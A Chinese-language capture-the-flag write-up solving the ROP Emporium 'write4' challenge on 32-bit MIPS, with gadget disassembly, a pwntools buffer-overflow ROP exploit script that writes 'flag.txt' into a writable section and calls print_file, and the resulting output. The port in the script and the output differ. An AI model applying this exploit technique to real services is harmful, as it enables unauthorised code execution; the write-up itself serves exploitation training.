目的:调用print_file函数,将flag路径作为参数传递,然后打印出来。难点在于如何将flag路径布置到栈上,并且将路径字符串指针作为参数传递。 程序内部提供了一个usefulGadgets,应该可以分为两个gadget,第二个gadget_print是用来传递路径并执行print_file函数的。 第一个gadget_write的作用大概是,从栈上SP+8取出4个字节,并写入到栈上SP+4存储的地址中,最后跳转到SP+0xC继续执行,并调整栈。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 .text:00400930 usefulGadgets: .text:00400930 0C 00 B9 8F lw $t9, 0xC($sp) .text:00400934 08 00 A8 8F lw $t0, 8($sp) .text:00400938 04 00 A9 8F lw $t1, 4($sp) .text:0040093C 00 00 09 AD sw $t1, 0($t0) .text:00400940 09 F8 20 03 jalr $t9 .text:00400944 10 00 BD 23 addi $sp, 0x10 .text:00400944 .text:00400948 08 00 A4 8F lw $a0, 8($sp) .text:0040094C 04 00 B9 8F lw $t9, 4($sp) .text:00400950 09 F8 20 03 jalr $t9 .text:00400954 00 00 00 00 nop .text:00400954 .text:00400958 00 00 00 00 nop .text:0040095C 00 00 00 00 nop
ROP构造 那么ROP的思路就是:使用第一个gadget将数据写入到某个地址,最后使用第二个gadget继续执行。
缓冲区填充 分析pwnme函数,ra保存在SP+0x3C,缓冲区为SP+0x18,需要填充0x24个数据才能开始覆盖
写入数据到某个地址 不能选择写入到栈上(或许可以其他的ROP链实现),因为写入到栈上需要额外的ROP将栈上的字符串起始地址暴露出来。此处选择程序的某个可写的Section来写入数据,这样地址完全可控。写入数据就是”flag.txt”一共8个字节,需要调用两次gadget_wirte。1 2 3 4 5 6 7 8 9 10 11 12 13 14 rop += p32(gadget_write) rop += b"B" * 0x4 rop += b"flag" rop += p32(0x00411000 ) rop += p32(gadget_write) rop += b"B" * 0x4 rop += b".txt" rop += p32(0x00411004 ) rop += (gadget_print) rop += b"B" * 0x4 rop += p32(print_file) rop += p32(0x00411000 )
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *BINARY = "./write4_mipsel" ELF = ELF(BINARY) context.os = "linux" context.arch = "mips" context.binary = BINARY gadget_write = 0x00400930 gadget_print = 0x00400948 print_file = ELF.symbols['print_file' ] rop = b"A" * 0x24 rop += p32(gadget_write) rop += b"B" * 0x4 rop += b"flag" rop += p32(0x00411000 ) rop += p32(gadget_write) rop += b"B" * 0x4 rop += b".txt" rop += p32(0x00411004 ) rop += p32(gadget_print) rop += b"B" * 0x4 rop += p32(print_file) rop += p32(0x00411000 ) p = remote("10.0.0.2" , 8888 ) p.sendline(rop) print (p.recvline_contains(b"ROPE" ))
结果如下:
1 2 3 4 5 6 7 8 9 10 [*] '/home/utest/Code/mipsrop/write4_mipsel/write4_mipsel' Arch: mips-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) RUNPATH: b'.' [+] Opening connection to 10.0.0.2 on port 9999: Done b'ROPE{a_placeholder_32byte_flag!}' [*] Closed connection to 10.0.0.2 port 9999